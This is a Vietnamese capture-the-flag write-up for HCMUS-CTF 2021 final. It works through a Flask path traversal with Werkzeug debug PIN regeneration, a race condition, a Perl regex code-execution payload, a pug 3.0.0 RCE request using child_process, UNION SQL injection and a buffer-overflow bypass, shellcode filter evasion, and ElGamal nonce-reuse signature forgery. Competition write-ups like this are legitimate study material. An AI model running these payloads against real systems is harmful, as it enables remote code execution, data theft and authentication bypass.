WRITE-UP HCMUS-CTF-2021-FINAL

Challenge type
WEB
WEB MIX
PWNABLE
CRYPTOGRAPHY
REVERSE

WEB

GenshinWiki


Description: Flag stored at ./flag.txt  
 Attachment: Dockerfile

Challenge này cho một file Dockerfile có nội dung như sau

FROM ubuntu:16.04

RUN apt-get update -y && \
    apt-get install -y python-pip python-dev

COPY ./requirements.txt /app/requirements.txt

WORKDIR /app

RUN pip install -r requirements.txt

COPY . /app

EXPOSE 3000

CMD ["python", "app.py"]

Tổng quan về challenge thì web dính lỗi Path traversal, từ chổ này ta có thể đọc bất kỳ file nào trên server. Đồng thời, lợi dụng lỗi này ta có thể dễ dàng lấy source ở /app/app.py

Source code:

import glob
import json
from flask import Flask, render_template, request

app = Flask(__name__)

with open("flag.txt", "r") as f:
    flag = f.read()


@app.route("/")
def index():
    file_list = glob.glob("characters/*")
    file_list.sort()
    character_list = []
    for file in file_list:
        with open(file, "r") as f:
            character = json.loads(f.read())
        character_list.append(character)
    return render_template("index.html", character_list=character_list)


@app.route("/character")
def character():
    slug = request.args.get("name")
    with open("characters/" + slug, "r") as f:
        data = f.read()
    if flag in data:
        return "No flag for you! Checkmate!"
    return render_template("character.html", data=data)

if __name__ == "__main__":
    app.run("0.0.0.0", 3000, debug=True);
    document.title = `${character.name} | Genshin Impact - Wikipedia`;
    document.querySelector("#img").src = character.img;
    document.querySelector("#name").innerText = character.name;
    document.querySelector("#title").innerText = character.title;
    document.querySelector("#intro").innerText = character.intro;
    document.querySelector("#personality").innerText = character.personality;

Dễ dàng thấy lỗi Path traversal ở route /character

@app.route("/character")
def character():
    slug = request.args.get("name")
    with open("characters/" + slug, "r") as f:
        data = f.read()
    if flag in data: # Vì bị check chổ này nên ta không thể đọc được flag một cách dễ dàng được :((
        return "No flag for you! Checkmate!"
    return render_template("character.html", data=data)

Vì options debug=True được mở, nên có thể dễ dàng check được rằng là route /console đang được bật, nhưng cần phải có PIN code. Giờ việc cần làm là gen lại được cái PIN code đấy để có thể đọc flag.

Code gen pin:

import hashlib
from itertools import chain
import os
import getpass

pin = None
rv = None
num = None

probably_public_bits = [
  'root' , # Vì deloy bằng docker nên ta có thể đoán được, hoặc đọc file /etc/passwd và có thể confirm rằng ta có thể đọc /etc/shadow qua Path traversal
  'flask.app' , # modname Always the same
  'Flask' , # Always the same
  '/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None) => Cái này các bạn tự deloy rồi kiểm tra nhé
]
# PIN = 336-514-623

def _generate():
    linux = b""
    for filename in "./machine-id.txt", "./boot_id.txt": # machine-id.txt từ /etc/machine-id (có thể có hoặc không) và bood_id lấy từ /proc/sys/kernel/random/boot_id
        try:
            with open(filename, "rb") as f:
                value = f.readline().strip()
        except IOError:
            continue

        if value:
            linux += value
            break
    try:
        with open("./cgroup.txt", "rb") as f: # file cgroup.txt lấy từ /proc/self/cgroup
            linux += f.readline().strip().rpartition(b"/")[2]
    except IOError:
        pass

    if linux:
        print(linux)
        return(linux)
private_bits = [
  "6715920611201", # Đây là MAC address được convert sang decimal, đầu tiên đọc /proc/net/arp để tìm network interface (case này là eth0) và sau đó, đọc /sys/class/net/eth0/address để lấy địa chỉ MAC rồi convert sang decimal là xong
  _generate()
 ]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)

h.update(b"cookiesalt")

cookie_name = "__wzd" + h.hexdigest()[:20]

if num is None:
    h.update(b"pinsalt")
    num = ("%09d" % int(h.hexdigest(), 16))[:9]

if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
        else:
            rv = num
print(rv)

Sau khi có PIN code thì nhập vào và chiếm được console rồi đọc flag!!

FLAG: HCMUS-CTF{turn-off-debug-mode-pls}

CuteShopV2

Source code:

const express = require("express");
const session = require('express-session')
const config = require("./config");
const path = require("path");
const mysql = require("mysql2");
const port = process.env.APP_PORT || 1337;
const host = "0.0.0.0";
const FLAG = "Flag{ahih}" //require("fs").readFileSync("flag.txt");

const connection = mysql.createConnection({
    host: 'localhost',
    user: 'root',
    database: 'test'
  });
(function initDB() {
    sql = `create table if not exists users(
        id int not null auto_increment,
        username nvarchar(30) not null,
        password nvarchar(40) not null,
        money int,
        gifted tinyint(1),
        primary key (id)
    )`
    connection.query(sql);
    sql = `insert into users(username, password) values("HCMUS-admin", "HCMUS-${config.admin_password}")`
    connection.query(sql);
})();

const app = express();
app.use(express.json());
app.use(session(config.session));
app.use(express.static("public"))

app.set("view engine", "pug");
app.set("views", path.join(__dirname, "views"));

app.use((req, res, next) => {
    const allowedType = ["string", "number"];
    for (key in req.query) {
        if (!allowedType.includes(typeof (req.query[key])))
            return res.send("Nice try");
    }
    for (key in req.body) {
        if (!allowedType.includes(typeof (req.body[key])))
            return res.send("Nice try");
    }
    next();
})

app.get("/", (req, res) => {
    if (!req.session.authenticated)
        return res.redirect("/login");
    connection.query(
        "select money from users where username=?",
        [req.session.username],
        (err, result) => {
            money = 0;
            if (err)
                money = 0;
            else
                money = result[0].money;
            return res.render("index", { authenticated: req.session.authenticated, username: req.session.username, money: money });
        }
    )
});

app.get("/source", (req, res) => {
    return res.sendFile(path.join(__dirname, "server.js"));
})

app.route("/login")
    .all((req, res, next) => {
        if (req.session.authenticated)
            return res.redirect("/");
        next();
    })
    .get((req, res) => {
        res.render("login", { authenticated: false });
    })
    .post((req, res) => {
        username = req.body.username;
        if (typeof username == 'undefined')
            return res.json({ "status": 403, "message": "Username can't be blank" });
        password = req.body.password;
        if (typeof password == 'undefined')
            return res.json({ "status": 403, "message": "Password can't be blank" });
        connection.query(
            "select * from users where username = ? and password = ?",
            [username, password],
            (err, result) => {
                if (err)
                    return res.json({ "status": 403, "message": "Error occur" });
                if (result.length < 1)
                    return res.json({ "status": 403, "message": "Wrong username or password" });
                req.session.username = username;
                req.session.authenticated = true;
                return res.json({ "status": 200, "message": "Logged in" });
            }
        )
    })

app.route("/register")
    .get((req, res) => {
        res.render("register", { authenticated: false });
    })
    .post((req, res) => {
        username = req.body.username;
        if (typeof username == 'undefined')
            return res.json({ "status": 403, "message": "Username can't be blank" });
        password = req.body.password;
        if (typeof password == 'undefined')
            return res.json({ "status": 403, "message": "Password can't be blank" });
        connection.query(
            "select * from users where username = ?",
            [username],
            (err, result) => {
                if (err)
                    return res.json({ "status": 403, "message": "Error occurs" });
                if (result.length > 0)
                    return res.json({ "status": 403, "message": "Username already taken" });
                connection.query(
                    "insert into users(username, password, money, gifted) values(?, ?, 10, 0)",
                    [username, password],
                    (err) => {
                        if (err)
                            return res.json({ "status": 403, "message": "Error occurs" });
                        return res.json({ "status": 200, "message": "Create account successful" });
                    })
            })
    })

app.route("/flag")
    .post((req, res) => {
        if (!req.session.username)
            return res.json({ "status": 403, "message": "Not logged in" });
        connection.query(
            "select money from users where username=?",
            [req.session.username],
            (err, result) => {
                money = 0;
                if (err)
                    money = 0;
                else
                    money = result[0].money;
                if (money > 100)
                    return res.json({ "status": 200, "message": `Here is your flag: ${FLAG}` })
                return res.json({ "status": 403, "message": "But you dont have enough money" });
            })
    })

async function log(receiver) {
    // TODO: add real code instead of sleep
    const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))
    await sleep(200);
}

app.route("/gift")
    .all((req, res, next) => {
        if (req.session.authenticated) {
            if (req.session.username == "HCMUS-admin")
                return next();
            return res.sendStatus(403);
        }
        return res.redirect("/login");
    })
    .get((req, res) => {
        return res.render("gift");
    })
    .post((req, res) => {
        receiver = req.body.receiver;
        if (typeof username == 'undefined')
            return res.json({ "status": 403, "message": "Username can't be blank" });
        connection.query(
            "select * from users where username=?",
            [receiver],
            (err, result) => {
                if (err)
                    return res.json({ "status": 403, "message": "Error occurs" });
                if (result.length < 1) {
                    return res.json({ "status": 403, "message": "Username not found" });
                }
                isGifted = result[0].gifted;
                if (isGifted)
                    return res.json({ "status": 200, "message": "Already gifted" });
                connection.query(
                    "update users set money = money + 10 where username=?",
                    [receiver],
                    (err) => {
                        if (err)
                            return res.json({ "status": 403, "message": "Error occurs" });
                        log(receiver).then(() => {
                            connection.query(
                                "update users set gifted = 1 where username=?",
                                [receiver],
                                (err) => {
                                    if (err)
                                        return res.json({ "status": 403, "message": "Error occurs" });
                                    return res.json({ "status": 200, "message": "Success" });
                                })
                        });
                    })
            })
    })

app.route("/logout")
    .get((req, res) => {
        delete req.session.authenticated;
        delete req.session.username;
        res.redirect("/login");
    })

app.listen(port, host);
console.log(`Running on http://${host}:${port}`);

Đọc source code thì ta thấy code có chức năng như sau:

  • Nếu money > 100 thì có thể đọc được FLAG
  • Nếu như là admin thì có thể tặng 10$ cho bất cứ user nào
  • Mỗi user chỉ được tặng 1 lần

Nhưng may mắn là có một bạn nói với mình là pass của admin đơn giản là HCMUS- (không biết có config lỗi hay không XD), nhờ vậy mà cuộc sống đỡ bế tắc hơn hẳn :((. Có admin rồi nhưng mỗi user chỉ được tặng một lần?? => Race condition, nghĩa là lấy session admin rồi gửi request đùn đùn vào route /gift để số tiền được cộng dồn là được.

Flag: HCMUS-CTF{rac3-t0-The-Fl444g}

REGULAR lang EXporter

Đây là một challenge được code bằng perl thực thi qua CGI-bin, chức năng là lấy regex từ user qua param ?search và file cần đọc qua param ?language sau đó trả về nội dung trong file đấy khớp với regex là xong.

Lợi dụng việc đó, ta có thể kéo source code về gồm 3 file: api.pl, helper.plindex.pl, nhưng chức năng chính nằm ở api.pl nên ta chỉ focus vào api.pl trong trường hợp này nhé!

#!/usr/local/bin/perl

require "./helper.pl";

use CGI;
$cgi = CGI->new;
$search = $cgi->url_param('search');
$language = $cgi->url_param('language');

print $cgi->header('text/plain','200 OK');

$content = read_file($language);
@words = split('\n', $content);
@filtered = ();
foreach ( @words ) {
  if ($_ =~ qr/$search/) {
    push(@filtered, $_);
  }
}

print join("\n", @filtered);

Code cũng không có vấn đề gì, nhưng sau một hồi tìm docs về regular expression về perl thì mình tìm thấy một pattern có khả năng thực thi code trong nó

Payload: /cgi-bin/api.pl?search=(?{print+`cat+/FLAAAG_HERE_NO_ONNE_CAN_GUESSS_M3.wtf`})&language=./content/english.txt

Flag: HCMUS-CTF{learn-me-plz-https://www.rexegg.com/regex-disambiguation.html}

Pokegen

Source code:

// server.js
const express = require("express");
const session = require('express-session');
const config = require("./config");
const MongoClient = require('mongodb').MongoClient;
var db;
const app = express();
const port = process.env.APP_PORT || 1337;
const host = "0.0.0.0";

app.use(session(config.session));
app.set("view engine", "pug");
app.use(express.static("public"));
app.use(express.urlencoded({extended: true}));

app.use((req, res, next) => {
    const allowedType = ["string", "number"];
    for (key in req.query) {
        if (!allowedType.includes(typeof (req.query[key])))
            return res.send("Nice try");
    }
    for (key in req.body) {
        if (!allowedType.includes(typeof (req.body[key])))
            return res.send("Nice try");
    }
    next();
})

app.route("/")
    .all((req, res, next) => {
        if (!req.session.authenticated)
            return res.redirect("/register");
        next();
    })
    .get((req, res) => {
        req.session.user.pokemon = Math.floor(Math.random()*3);
        req.session.user.health = Math.floor(Math.random()*4) + 1;
        req.session.user.power = Math.floor(Math.random()*4) + 1;
        res.render("index", req.session.user);
    });

app.route("/register")
    .all((req, res, next) => {
        if (req.session.authenticated)
            return res.redirect("/");
        next();
    })
    .get((req, res) => {
        return res.render("register");
    })
    .post((req, res) => {
        user = {...req.body, health: Math.floor(Math.random()*4) + 1, power: Math.floor(Math.random()*4) + 1};
        console.log(user)
        db.collection("users").insertOne(user);
        req.session.authenticated = true;
        req.session.user = {};
        req.session.user.username = req.body.username;
        return res.redirect("/");
    })

app.route("/login")
    .all((req, res, next) => {
        if (req.session.authenticated)
            return res.redirect("/");
        next();
    })
    .get((req, res) => {
        return res.render("login");
    })
    .post((req, res) => {
        db.collection("users").findOne(
            {username: req.body.username, password: req.body.password},
            (err, result) => {
                if (err)
                    return res.render("login", {error: "Something error"});
                if (!result)
                    return res.render("login", {error: "Wrong username or password"});
                req.session.authenticated = true;
                req.session.user = {};
                req.session.user.username = result.username;
                return res.render("index", result);
        });
    })

MongoClient.connect("mongodb://localhost:27017/pokegen", (err, client) => {
    if (err) {
        console.log(err);
        return;
    }
    db = client.db("pokegen");
    app.listen(port, host);
    console.log(`Running on http://${host}:${port}`);
    });
// package.js

{
  "name": "pokegen",
  "version": "1.0.0",
  "description": "",
  "main": "server.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "express": "^4.17.1",
    "express-session": "^1.17.1",
    "mongodb": "^3.6.6",
    "pug": "3.0.0"
  }
}

Với những dạng như này, mình hay xem package.json trước tiên, vì rất có thể tác giả sử dụng version của những lib hay module cũ và tất nhiên nếu may mắn, ta có thể tìm được chi tiết về cách khai thác của bug đó. Trong case này, version của pug ở đây là pug==3.0.0, ta có thể dễ tìm thấy được issue của nó tại đây: https://github.com/pugjs/pug/issues/3312

Bug này nhắm vào pretty options của pug compiler, nghĩa là nếu ta control được biến pretty hay options.pretty thì có thể RCE được (còn tại sao lại RCE được thì các bạn đọc thêm cái issue trên :D), bằng cách khai thác chổ

...
app.route("/register")
    ...
    })
    .post((req, res) => {
        user = {...req.body, health: Math.floor(Math.random()*4) + 1, power: Math.floor(Math.random()*4) + 1};
        console.log(user)
        db.collection("users").insertOne(user);
        req.session.authenticated = true;
        req.session.user = {};
        req.session.user.username = req.body.username;
        return res.redirect("/");
    })
    ...

req.body là input của mình, nghĩa là có thể nhập bất cứ gì mà ta muốn rồi sau đó nó được đưa vào biến user => Nên ta có thể đưa biến pretty vào chổ này thông qua chức năng /register

POST /register HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 111
Origin: http://localhost:1337
Connection: close
Referer: http://localhost:1337/register
Cookie: connect.sid=s%3ABX9aeSpbk4oPCyz9a3907yNADa45EPm0.iI1heOLJUaCjIg9BQREvpcdANOMFUH%2BvwaEXhJHnWss
Upgrade-Insecure-Requests: 1

username=nhienit&password=rce&pretty=');process.mainModule.constructor._load('child_process').exec('calc');_=('

Sau khi login thành công, sẽ redirect sang route / và template được render ra thì có thể thấy popup của calc.exe của mình đã hiện lên và RCE thành công.

Tiếc là, team mình đã không kịp solve được challenge này nên khá là hối tiếc :(((


WEB MIX

Web x Cryptography

  • Đây là 1 bài web kết hợp với crypto, khi mình download source về và xem qua thì đây là 1 bài web dùng thư viện flaskjwt

  • Đọc qua luồng của bài này thì thấy rằng cần tạo ra được json web token để sau khi gọi hàm jwt.decode thì username phải là admin

image

  • Tác giả dùng file keygen.sh để tạo cặp khóa private keypublic key (RSA 2048 bit)

image

  • Ban đầu thì mình cũng nghĩ rằng phải tìm cách leech được key để có thể tạo token hợp lệ
  • Tuy nhiên sau khi nhìn code, mình phát hiện bài này dính lỗi sqli ở cả hàm đăng ký và đăng nhập image
  • Tadaaaa… Vậy là chỉ cần sqli để lụm flag thoai, đầu tiên mình sẽ kiểm tra số cột của bảng users bằng cách dùng order by, sau khi phát hiện bảng users chỉ có 3 cột
  • Route index chỉ kiểm tra usernameadmin thì sẽ trả về flag, do đó mình sẽ dùng union để bypass bằng cách dùng payload sau: testttttttttttt' union 'admin', 'admin', 'admin'-- -

Web x Binary

  • Đây là 1 bài web khá thú vị, đội của mình khá may mắn khi là đội duy nhất giải được câu này

  • Đầu tiên sẽ nhận 2 params usernamepassword sau đó dùng hàm escapeshellarg để filter nên không thể khai thác bằng os command injection được

  • Sau khi lấy file binary về, ném vào IDA thì luồng của chương trình như sau

image

  • Chương trình nhận vào 2 parameter lần lượt là usernamepassword, sau đó gọi hàm check_login, hàm này cũng truyền reference biến session_id vào
  • Hàm check_login có luồng thực thi như sau

image

  • Đầu tiên nó sẽ gọi hàm hex_encode username và lưu vào biến hex_result, sau đó đọc từng dòng trong file ./data/user-database.txt sau đó tách username và password theo format %s %s, tiếp theo sẽ dùng hàm strncmp để so sánh, nếu username và password trùng khớp thì sẽ copy hex_result vào session_id
  • Vậy tức là file auth có nhiệm vụ như sau: Kiểm tra username và password, nếu trùng khớp với 1 tài khoản trong file ./data/user-database.txt thì sẽ trả về hex encode của username
  • Sau khi đọc file index.php?debug=1 thì mình phát hiện ra rằng, có thể trigger được sqli nếu như có thể control được session_id được trả về từ binary auth
  • Sau 1 hồi debug thì mình phát hiện ra rằng có thể ghi đè được giá trị của biến session_id bằng cách buffer overflow, tức là chỉ cần nhập mật khẩu có dạng như sau: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' or 1=1-- - thì khi bị ghi đè, session_id chỉ còn lại là ' or 1=1-- -
  • Tiếp theo cần bypass hàm escapeshellarg để tạo ra được payload sqli hợp lệ, payload của mình là username=admin&password=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\' union select 1,tbl_name from sqlite_master-- -
  • Sau khi lấy được toàn bộ tables thì mình thấy có 1 table tên flag_abcxyz
  • Cuối cùng là payload để lấy flag: username=admin&password=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\' union select 1,* from flag_abcxyz-- -

PWNABLE

Easy_rop

easy_rop1

Đây là một bài bof cơ bản với việc cấp phát 16 bytes và cho nhập tràn.

easy_rop2

Hàm gọi đến shell với điều kiện 3 đầu vào.

easy_rop3

Cách làm là cho tràn và control địa chỉ trở về đến địa chỉ system(“/bin/sh”).

Payload:

easy_rop4

Tu_Thien

Với bài này thì khá đơn giản vì cho source rồi. Ban đầu chương trình khởi tạo user “admin” với mật khẩu được sinh ngẫu niên.

Tu_thien1

Tu_thien1

Người dùng phải đăng nhập vào tài khoản “admin” để có thể nhận flag.

Khai thác từ việc strcmp sẽ so sánh đến byte \x00 nên ta sẽ bruteforce password với null byte.

Tu_thien3

Payload:

Tu_thien4

limited_shellcode

Thông tin đề bài.

lim1

Chương trình cho phép chúng ta nhập vào lưu shellcode tại 1 vùng memory. Sau khi thực hiện kiểm tra nếu hợp lệ sẽ thực thi shellcode.

lim2

Chương trình sẽ filter các byte <= 0x1f và >= 0x80. Vậy nó sẽ chặn việc thực hiện 2 bytes quan trọng là 0xcd và 0x80.(int 0x80).

lim3

Sau mỗi lần phát hiện bytes không hợp lệ thì biến check_shell sẽ tăng. Để ý thấy ở đây biến này chỉ được khai báo với 1 byte. Vậy ta có thể cho tràn số nguyên để control biến này về 0 (256 => 0). Bằng cách đè thêm vào các bytes không hợp lệ (vd: 0x90).

lim4

Payload:

lim5


CRYPTOGRAPHY

Polynomial AES (58 pts)

encrypt.py

from Crypto.Util.number import getPrime, getRandomRange, getRandomInteger
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from Crypto.Hash import SHA256

flag = open("flag.txt", "rb").read()


def sha256(s: bytes) -> bytes:
    h = SHA256.new()
    h.update(s)
    return h.digest()


def generate_key() -> bytes:
    d = getRandomRange(20, 30)
    p = getPrime(1024)
    q = []
    for _ in range(d + 1):
        q.append(getRandomInteger(100))

    def eval(x: int) -> int:
        ans = 0
        mul = 1
        for i in range(d + 1):
            ans = (ans + mul * q[i]) % p
            mul = (mul * x) % p
        return ans

    print(f"p = {p}")
    print(f"q = {q}")

    H = range(1, p)
    s = 0
    for h in H:
        s = (s + eval(h)) % p

    key = sha256(str(s).encode())
    return key


key = generate_key()
cipher = AES.new(key, mode=AES.MODE_ECB)
ct = cipher.encrypt(pad(flag, AES.block_size))

print(f"Encrypted flag: {ct.hex()}")

output.txt

p = 177623787080918790693312135936556122024020095001443303172107276987982440197490523418145835127889071265905054737784623738629013338784360558617366098465518180680782530663638215602960132688937540305263995580366073873308704407001927606741585489839642710147345583432505462036986076120792139184590814347216415564101
q = [801237753591354715102942191156, 626618719198500674209203323781, 990607682230559368102514378597, 300626649773649360709969851789, 874661725788013406358456728725, 611124797526692571169418404283, 696940952735206910076260768209, 202318491739756355785884585154, 217597478025466348191206328033, 238860189889236925504208320473, 257324672120956057034462883536, 160322512393915295700562029637, 607851219645061751393650249507, 843763343969620761723084660993, 664187143329183292841846729739, 1006116355393829943519743575276, 1032255895907602121421225800124, 760726117259231496345295071803, 374029363383881393553491416304, 510251190591403967192508766973, 418897119833960203375767935538, 454322945572252709096080212504, 442294223579983673964906923798, 974394018465930277236048171917, 615939424032648824469586728134]
Encrypted flag: 413016e1c544c23c3fddb759388ec267cd47980a57de5e3c5c6e6b5628eea5d5

Cho một đa thức f bậc d thuộc Fp[x] với các hệ số như trong list q, khóa key dùng để mã hóa flag được tính bằng s = f(1) + f(2) + f(3) + ... + f(p-1) (mod p), key = sha256(str(s).encode()).

p = 177623787080918790693312135936556122024020095001443303172107276987982440197490523418145835127889071265905054737784623738629013338784360558617366098465518180680782530663638215602960132688937540305263995580366073873308704407001927606741585489839642710147345583432505462036986076120792139184590814347216415564101

p có độ dài 1024 bit, loop từ 1 đến p-1 thì không biết đến khi nào mới xong…
equation.
equation.
equation.
Đổi lại thì phải tính equation - Faulhaber’s formula.

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from polysum import * # https://github.com/fcard/PolySum/blob/master/Python/polysum.py
from hashlib import sha256

p = 177623787080918790693312135936556122024020095001443303172107276987982440197490523418145835127889071265905054737784623738629013338784360558617366098465518180680782530663638215602960132688937540305263995580366073873308704407001927606741585489839642710147345583432505462036986076120792139184590814347216415564101
q = [801237753591354715102942191156, 626618719198500674209203323781, 990607682230559368102514378597, 300626649773649360709969851789, 874661725788013406358456728725, 611124797526692571169418404283, 696940952735206910076260768209, 202318491739756355785884585154, 217597478025466348191206328033, 238860189889236925504208320473, 257324672120956057034462883536, 160322512393915295700562029637, 607851219645061751393650249507, 843763343969620761723084660993, 664187143329183292841846729739, 1006116355393829943519743575276, 1032255895907602121421225800124, 760726117259231496345295071803, 374029363383881393553491416304, 510251190591403967192508766973, 418897119833960203375767935538, 454322945572252709096080212504, 442294223579983673964906923798, 974394018465930277236048171917, 615939424032648824469586728134]
s = 0
for i,j in enumerate(q):
    s += polysum(i,p-1)*j
    s = s % p

key = sha256(str(s).encode()).digest()
cipher = AES.new(key, mode=AES.MODE_ECB)
ct = bytes.fromhex('413016e1c544c23c3fddb759388ec267cd47980a57de5e3c5c6e6b5628eea5d5')
flag = unpad(cipher.decrypt(ct),16)
print(flag.decode())

# HCMUS-CTF{learn-algebra}

DragonBall (95 pts)

Bài DragonBall nói về ElGamal signature scheme. Mình chưa chụp lại lúc làm bài, mà sơ qua thì server có 3 lựa chọn, generate, verifydebug.

  • generate để nhập username, sau đó server gen một chuỗi USERNAME=username&LEVEL=Saiyan, ký bằng Elgamal-SHA1, trả về một token có chứa rs.
  • verify để nhập token và xác thực user, nếu là SuperSaiyan thì trả về flag.
  • debug cho biết tham số gp được dùng.

Kiểm tra gp không thấy có gì bất thường, mình nhập thử các username khác nhau thì biết được nonce k cố định rồi.

Như vậy có thể tìm lại k và private key x, đủ để tạo token thỏa yêu cầu USERNAME=username&LEVEL=SuperSaiyan.

import base64
from Crypto.Util.number import long_to_bytes, bytes_to_long
from hashlib import sha1

p = 129395855808705212728342121899564040533627536165407217623699982163034898985604990453612738681235265684964910273382421570674875235106037524148312004154122323500944367988234700927644310658336581857679208804861661335768169851589929150626616698506529354785376916490328643358410300092039405295348822918174724269387
g = 125119881720420900707670154269953309690838537679536446473408150363676013315875914220318853661265626997530402259420104771257078966641464155686445398996594055909718103795617751840611152747280651424068043671714408414771552296848509963265865300590662320297995606313265875459093865996548994154719802981360764938058

h1 = bytes_to_long(sha1(b'USERNAME=123&LEVEL=Saiyan').digest())
r1 = bytes_to_long(b'M\xc3\xbek\xf1\xe7\x02\xfaY\xd9D\xa1\xb8\x13\x86(ZB.\xce\x98"\xb4Z\x84f\xbb\xf4\x14\xcf1\xdf\x90Y\x81\xd1\x00\xa1D\x10\xc6jTp\xdc\xe9.\xdf\xcd\x89\xd1\x12A\xab\xf7\x7f_x\xfai\xf8\tP\xf6\xb6.g\xb0E\x1c\x8c\x8f\xdc\x15\x87\x0c-\x92\xe8@t\xa7\xef\xe6\xdav\xee\xdd\x03\xf7\xc2R\xb3\x15\xac\'\xfdH\\T\x95\x85W\'sVf\x17\x98>\x0c*\xe45\xfd\xe8E\xf94\x0f\xafIq1\t$<e')
s1 = bytes_to_long(b'Eg\x19x\xf3\x81\xcbu\xdb\x03L\xd6\xd1\xf0JZkE\xf4\x8c\xac\xa2\xb5\xcc\x1d\x96\x98\xb27a\xa1\x98\xbe\xf3vxTqZ\x9d\xe0\x03~\x8fg\xda\xe6\x18-\xd1\xe2!\x11\x9f\x87Bc\t\xff\xd3c\x0e\xaf\xe5;\xe43\'\x88\x05\xee\xf0\x8b\xa6\xe0f\xb3-C\xcf\x92\x89??\x9b\x1d\xcc\xc0}H\x96\xa1\xac[\x10^\xb6\x90\xa5\xa1X\xff,V\x8d\xfd}\xe3[\x17H\xd2_Bs\x1b}[|\xf9\x16@^\xdbJ&^\x9a')

h2 = bytes_to_long(sha1(b'USERNAME=ww&LEVEL=Saiyan').digest())
r2 = bytes_to_long(b'M\xc3\xbek\xf1\xe7\x02\xfaY\xd9D\xa1\xb8\x13\x86(ZB.\xce\x98"\xb4Z\x84f\xbb\xf4\x14\xcf1\xdf\x90Y\x81\xd1\x00\xa1D\x10\xc6jTp\xdc\xe9.\xdf\xcd\x89\xd1\x12A\xab\xf7\x7f_x\xfai\xf8\tP\xf6\xb6.g\xb0E\x1c\x8c\x8f\xdc\x15\x87\x0c-\x92\xe8@t\xa7\xef\xe6\xdav\xee\xdd\x03\xf7\xc2R\xb3\x15\xac\'\xfdH\\T\x95\x85W\'sVf\x17\x98>\x0c*\xe45\xfd\xe8E\xf94\x0f\xafIq1\t$<e')
s2 = bytes_to_long(b'D\xd1\xf6\xa8\xff|8\xfa\x85\xec\x96\x9b\xc8\xcdH[\xf7\xa0\xf9\xfdt\x07\xc9H\xff\xef\xeb.\xfd\xf0\xdbb\xab\x1aG\xb4B\xc3!\xe6\xbc\xbb]\xc8\t\x8cKej\x95\xcd\x84\xfe\x7fA\x8cVf\xbf\xa1\x11\nV\xed\x06b\xb8W\x1aXD%J\xe3\x1a\xb8\x9a!\x87\x15\xdfY\x1a\x11n{\xd5\rc\xf5C&4\xcc)\t%\xb6\x7f\xc1r\xf2\xaf\x9a\xc3\xc2\x9f9\xfd:,\x84\x13\x94\x89\xbfKS\xe7\x8f8=\xc0\x16\xa41>\x91')

h3 = bytes_to_long(sha1(b'USERNAME=1&LEVEL=Saiyan').digest())
r3 = bytes_to_long(b'M\xc3\xbek\xf1\xe7\x02\xfaY\xd9D\xa1\xb8\x13\x86(ZB.\xce\x98"\xb4Z\x84f\xbb\xf4\x14\xcf1\xdf\x90Y\x81\xd1\x00\xa1D\x10\xc6jTp\xdc\xe9.\xdf\xcd\x89\xd1\x12A\xab\xf7\x7f_x\xfai\xf8\tP\xf6\xb6.g\xb0E\x1c\x8c\x8f\xdc\x15\x87\x0c-\x92\xe8@t\xa7\xef\xe6\xdav\xee\xdd\x03\xf7\xc2R\xb3\x15\xac\'\xfdH\\T\x95\x85W\'sVf\x17\x98>\x0c*\xe45\xfd\xe8E\xf94\x0f\xafIq1\t$<e')
s3 = bytes_to_long(b'<\x0e0\xef\xfd\x1b\r!\xa9Wf\xee\xc9\xad\xa5\x9d\x17\xe8l\xfaP\xd2}\t\x8f.b\x80\xc9\xe3\x15^\x96\x12ASxm\x85\xa0\xc8\x8b8\xe2\x03\xb3$Su\x92p&\xee"\xa6\x80\xe2\xdc\xa5g\x9b+lS\x1ca\x0c\x88+z\xd3\xa9\xec\xf9\x8f>\x97\xcb\xdd\x86\xb3UE\xc3{\xc4Vt\xd4\xce\xba\xe9C\xa5\xc3\xfe\x85l\x86ew\xc1\xda\x97\xad\x87Q\x82\xea\xb1aO\n\x9d\xdf\xafTU\xb4\xea\xbf\x9e,\x05\xce\xfbO\x18')

h = bytes_to_long(sha1(b'USERNAME=123&LEVEL=SuperSaiyan').digest())

k = (h1 - h2) * pow(s1-s2,-1,p-1) % (p-1)
x = (h1 - k * s1)*pow(r1,-1,p-1) % (p-1)
assert s1 == ((h1 - x*r1)*pow(k,-1,p-1) %(p-1))
assert s2 == ((h2 - x*r2)*pow(k,-1,p-1) %(p-1))
assert s3 == ((h3 - x*r3)*pow(k,-1,p-1) %(p-1))

r = r1
s = (h - x*r)*pow(k,-1,p-1) % (p-1)
S = b'USERNAME=123&LEVEL=SuperSaiyan' + b'&r=' + long_to_bytes(r) + b'&s=' + long_to_bytes(s)

print(base64.b64encode(S))

Lúc verify nhập token SuperSaiyan là được flag.

